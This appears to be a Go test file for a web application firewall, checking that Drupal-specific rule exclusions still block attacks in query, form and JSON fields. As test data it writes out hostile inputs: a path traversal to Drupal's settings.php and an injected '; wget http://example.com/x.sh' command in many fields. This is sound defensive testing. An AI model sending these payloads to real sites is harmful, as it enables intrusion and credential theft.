check / check (push) Successful in 6m21s
Each app's fixes are one .conf file and one entry in apps. They apply only while Inspect has set the app's transaction variable, such as tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only its apps' fixes; while SWW_APPS is unset, every hostname gets every app's fixes. A hostname in SWW_APPS that is not a DNS name, such as *.example.com, stops the start. Unset, SWW_APPS is logged at start as null; set empty, as "". Model: opus-5-5
499 lines
15 KiB
Go
499 lines
15 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const drupalThreshold = 5
|
|
|
|
// drupalAddArticle is Drupal's form for a new article.
|
|
const drupalAddArticle = "/node/add/article"
|
|
|
|
// drupalSignIn is Drupal's sign-in page.
|
|
const drupalSignIn = "/user/login"
|
|
|
|
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
|
const drupalJSONSignIn = "/user/login?_format=json"
|
|
|
|
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
|
|
const drupalJSONPasswordReset = "/user/password?_format=json"
|
|
|
|
// drupalTagForm is Drupal's form for a new tag.
|
|
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
|
|
|
// drupalEditAccount is Drupal's form for editing an account.
|
|
const drupalEditAccount = "/user/2/edit"
|
|
|
|
// drupalName is the field for a person's name, as the start of a form body.
|
|
const drupalName = "name="
|
|
|
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
|
|
}
|
|
|
|
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, map[string][]string{
|
|
giteaHost: {gitea}, otherHost: {"drupal"},
|
|
})
|
|
|
|
// A search, which only Drupal's fixes let through.
|
|
search := get("/search?keys=python3")
|
|
|
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
}
|
|
|
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
|
// injection, as a query value.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var drupalAttacks = []string{
|
|
sqlInjection,
|
|
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
|
|
scriptInjection,
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, attack := range drupalAttacks {
|
|
for _, target := range []string{
|
|
"/?id=",
|
|
"/admin/content?id=",
|
|
"/admin/content?title=",
|
|
"/admin/content/media?name=",
|
|
"/admin/people?user=",
|
|
"/admin/content/files?filename=",
|
|
"/admin/content/files?filemime=",
|
|
"/admin/content/block?info=",
|
|
"/admin/content/comment?subject=",
|
|
"/admin/content/comment?author_name=",
|
|
"/admin/config/search/path?search=",
|
|
"/admin/content?destination=",
|
|
"/admin/foo?q=",
|
|
"/node/1/edit?destination=",
|
|
"/user/login?destination=",
|
|
"/search/node?keys=",
|
|
"/search?keys=",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=",
|
|
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
|
|
"/user/password?name=",
|
|
"/media-library?name=",
|
|
"/views/ajax?name=",
|
|
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
|
"/block-category/autocomplete?q=",
|
|
"/media/oembed?url=",
|
|
"/big_pipe/no-js?destination=",
|
|
"/node/2/revisions/3/revert?destination=",
|
|
"/node/2/revisions/3/delete?destination=",
|
|
"/block/add/basic?destination=",
|
|
"/fr/admin/content?title=",
|
|
"/fr/search/node?keys=",
|
|
} {
|
|
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
|
|
t.Errorf("%s%s let through: %+v", target, attack, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
const reply = "/comment/reply/node/1/comment"
|
|
|
|
for _, attack := range drupalAttacks {
|
|
for _, sent := range []struct{ target, body string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
|
|
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
|
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
|
{reply, drupalName + attack},
|
|
{drupalSignIn, "pass=" + attack},
|
|
{drupalSignIn, drupalName + attack},
|
|
{"/fr/user/login", drupalName + attack},
|
|
{"/user/register", drupalName + attack},
|
|
{drupalEditAccount, "mail=" + attack},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
|
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, attack := range []string{
|
|
injection,
|
|
scriptTag,
|
|
} {
|
|
for _, field := range []string{
|
|
`"title":"` + attack + `"`,
|
|
`"body":{"value":"` + attack + `"}`,
|
|
`"name":"` + attack + `"`,
|
|
`"revision_log":"` + attack + `"`,
|
|
`"info":"` + attack + `"`,
|
|
`"description":{"value":"` + attack + `"}`,
|
|
} {
|
|
r := request{
|
|
http.MethodPost, "/jsonapi/node/article",
|
|
[]string{"Content-Type: application/vnd.api+json"},
|
|
}
|
|
body := `{"data":{"attributes":{` + field + `}}}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
|
body := `{"title":[{"value":"` + attack + `"}]}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body = `{"name":"` + attack + `","pass":"example"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, attack := range []string{
|
|
injection,
|
|
scriptTag,
|
|
`; wget http://example.com/x.sh`,
|
|
`../../sites/default/settings.php`,
|
|
} {
|
|
for _, field := range []string{"name", "mail"} {
|
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
|
body := `{"` + field + `":"` + attack + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// An address keeps 932250, which refuses ls -la, and 930120, which
|
|
// refuses system file names.
|
|
for _, kept := range []struct {
|
|
value string
|
|
rule int
|
|
}{
|
|
{"ls -la", 932250},
|
|
{".htaccess@example.com", 930120},
|
|
} {
|
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
|
body := `{"mail":"` + kept.value + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
|
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
|
}
|
|
}
|
|
}
|
|
|
|
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
|
// on the fields that skip the other command rules, as a query value.
|
|
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, target := range []string{
|
|
"/admin/content?title=",
|
|
"/admin/content/media?name=",
|
|
"/admin/people?user=",
|
|
"/admin/content/files?filename=",
|
|
"/admin/content/files?filemime=",
|
|
"/admin/content/block?info=",
|
|
"/admin/content/comment?subject=",
|
|
"/admin/content/comment?author_name=",
|
|
"/admin/config/search/path?search=",
|
|
"/admin/views/ajax/autocomplete/tag?q=",
|
|
"/search/node?keys=",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=",
|
|
"/user/password?name=",
|
|
"/media-library?name=",
|
|
"/views/ajax?name=",
|
|
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
|
"/block-category/autocomplete?q=",
|
|
"/media/oembed?url=",
|
|
"/fr/admin/content?title=",
|
|
} {
|
|
got := inspect(t, crs, get(target+drupalCommandAttack))
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, sent := range []struct{ target, field string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
|
|
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
|
|
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
|
|
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
|
|
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
|
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
|
{drupalSignIn, drupalName},
|
|
{"/user/register", drupalName},
|
|
{drupalEditAccount, "mail="},
|
|
{"/comment/reply/node/1/comment", drupalName},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
|
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
|
|
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
|
|
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
|
|
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
|
|
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
|
|
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
|
}
|
|
}
|
|
|
|
for _, field := range []string{
|
|
`"title":"; wget http://example.com/x.sh"`,
|
|
`"subject":"; wget http://example.com/x.sh"`,
|
|
`"body":{"summary":"; wget http://example.com/x.sh"}`,
|
|
`"name":"; wget http://example.com/x.sh"`,
|
|
`"revision_log":"; wget http://example.com/x.sh"`,
|
|
`"info":"; wget http://example.com/x.sh"`,
|
|
`"description":{"value":"; wget http://example.com/x.sh"}`,
|
|
} {
|
|
r := request{
|
|
http.MethodPost, "/jsonapi/node/article",
|
|
[]string{"Content-Type: application/vnd.api+json"},
|
|
}
|
|
body := `{"data":{"attributes":{` + field + `}}}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
|
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
// An address keeps 932250, which refuses ls -la.
|
|
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
|
|
|
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
|
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
|
}
|
|
}
|
|
|
|
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
const subject = "subject%5B0%5D%5Bvalue%5D="
|
|
|
|
for _, value := range hardValues {
|
|
for _, sent := range []struct{ target, field string }{
|
|
{"/comment/reply/node/1/comment", subject},
|
|
{"/comment/reply/node/1/comment/5", subject},
|
|
{"/comment/reply/node/1/field_comments", subject},
|
|
{"/comment/reply/media/1/comment", subject},
|
|
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
|
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
|
{drupalSignIn, "pass="},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, value := range hardValues {
|
|
word, err := url.QueryUnescape(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body := `{"name":"example","pass":"` + word + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
|
body = `{"name":"` + word + `"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
|
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
|
body := `{"mail":"` + address + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, passes := range []string{
|
|
"/admin/content?title=python3",
|
|
"/search/node?keys=python3",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=python3",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=python3",
|
|
"/node/1/edit?destination=python3",
|
|
"/fr/admin/content?title=python3",
|
|
"/pt-br/search/node?keys=python3",
|
|
"/user/password?name=python3",
|
|
} {
|
|
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
|
|
t.Errorf("%s refused: %+v", passes, got)
|
|
}
|
|
}
|
|
|
|
for _, refused := range []string{
|
|
"/?title=python3",
|
|
"/admin/content?other=python3",
|
|
"/?keys=python3",
|
|
"/node/1?keys=python3",
|
|
"/?q=python3",
|
|
"/?filter%5Btitle%5D=python3",
|
|
"/python3-notes?destination=python3",
|
|
"/notes/admin/content?title=python3",
|
|
"/fr/node/1?keys=python3",
|
|
"/?name=python3",
|
|
"/user/login?name=python3",
|
|
"/media/oembed?url=python3",
|
|
"/media/oembed?url=ls%20-la",
|
|
} {
|
|
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
|
|
t.Errorf("%s let through: %+v", refused, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The same field name in the query keeps the rules, in the query and
|
|
// in the body.
|
|
for _, sent := range []struct{ path, field string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
|
|
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
|
|
{drupalSignIn, "pass=python3"},
|
|
{drupalSignIn, "name=python3"},
|
|
{drupalEditAccount, "mail=python3"},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
|
} {
|
|
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
|
|
// The JSON field name keeps the rules beside json.name in the query, and
|
|
// on a path other than the password reset.
|
|
for _, target := range []string{
|
|
drupalJSONPasswordReset + "&json.name=python3",
|
|
"/user/register?_format=json",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
|
|
// So does the JSON field mail.
|
|
for _, target := range []string{
|
|
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
|
"/user/register?_format=json",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
}
|